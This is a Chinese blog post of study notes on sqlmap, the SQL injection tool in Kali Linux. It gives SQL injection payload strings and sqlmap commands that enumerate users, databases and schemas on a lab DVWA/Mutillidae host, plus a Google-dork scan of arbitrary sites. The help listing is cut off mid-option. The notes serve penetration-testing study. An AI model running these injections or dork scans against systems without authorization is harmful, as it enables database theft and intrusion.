Kali linux 学习笔记(五十一)Web渗透——sqlmap自动注入 2020.3.28

本文是关于Kali Linux中sqlmap工具的详细学习笔记,涵盖了从目标设定到各种参数配置,包括GET/POST请求、身份验证、数据库枚举、文件系统访问等关键功能。通过实例展示了sqlmap如何检测和利用SQL注入漏洞,以及其高级特性,如HTTP代理、优化设置和盲注技术等。
摘要由CSDN通过智能技术生成

前言

sqlmap
开源sql注入漏洞检测、利用工具

功能

  • 检测动态页面中get/post参数、cookie、http头
  • 数据榨取
  • 文件系统访问
  • 操作系统命令执行
  • xss漏洞检测

五种漏洞检测技术

  • 基于布尔的盲注检测 :' and 1=1
  • 基于时间的盲注检测 :' and (select * from (select(sleep(20)))a)--+
  • 基于错误的检测
  • 基于UNION联合查询的检测 :适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测 :用";"堆叠多个查询语句,适用于非select的数据修改、删除的操作

特性

  • 数据库直接连接 -d :不通过SQL注入,指定身份认证信息、IP、端口
  • 与burpsuite、google结合使用,支持正则表达式限定测试目标
  • Get、post、cookie、Referer、UserAgent (随机或指定) :Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 限速: 最大并发、延迟发送
  • 支持Basic,Digest,NTLM,CA身份认证
  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
  • 支持的数据库管理系统DBMS :MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

安装

apt-get install sqlmap #安装
sqlmap -h / -hh #查看帮助
sqlmap --version / -v #查看版本

1、target

指令

At least one of these options has to be provided to define the
target(s)
-d DIRECT           Connection string for direct database connection
-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
-m BULKFILE         Scan multiple targets given in a textual file
-r REQUESTFILE      Load HTTP request from a file
-g GOOGLEDORK       Process Google dork results as target URLs
-c CONFIGFILE       Load options from a configuration INI file

dvwa:192.168.1.116

get方法
# -p 指定想要检查的变量
# -f 指定查询系统指纹信息
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details"  -p username
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users #针对用户列表查询 
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner #针对版本信息查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs #针对数据库信息查询(查询有哪些库)
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema #针对元数据进行查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a #查询所有的信息
#查询结果被放在 /root/.sqlmap/output/192.168.1.121
sqlmap -d "mysql://user:password@192.168.1.116:3306/dvwa" -f --users #直接连接数据库进行查询示例

url列表

vim list.txt
    http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details
sqlmap -m list.txt
sqlmap -m list.txt --dbs

扫描 google 搜索结果(需要翻墙)

sqlmap -g "inurl:\".php?id=1\"" #\用来转义
post方法

使用http请求文件(burpsuite)
打开 http://192.168.1.116/mutillidae/
找到 sql 注入的第二个页面 http://192.168.1.116/mutillidae/index.php?page=login.php
提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法

使用 burpsuite 的 proxy
burpsuite 捕获数据包头,复制并保存至 /root/post.txt
读取请求文件,查询数据库信息

sqlmap -r post.txt --dbs

打开 burpsuite 的 Project options 选项卡的 Misc
勾选 Logging 的 Proxy 的 Requests
选择日志保存路径,关闭截断代理,浏览器登录表单
浏览器重新提交请求
查看日志内容
使用 sqlmap 进行扫描

sqlmap -l log.txt 
sqlmap -l log.txt -p username

结果显示有的 URL 含有注入漏洞

支持 HTTPS
sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl
配置文件
dpkg -L sqlmap | grep sqlmap.conf #默认配置文件放置位置
    /etc/sqlmap/sqlmap.conf
    /usr/share/doc/sqlmap/examples/sqlmap.conf.gz
sqlmap -c sqlmap.conf #扫描时指定配置文件

2、request

指令

Request:
    These options can be used to specify how to connect to the target URL
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值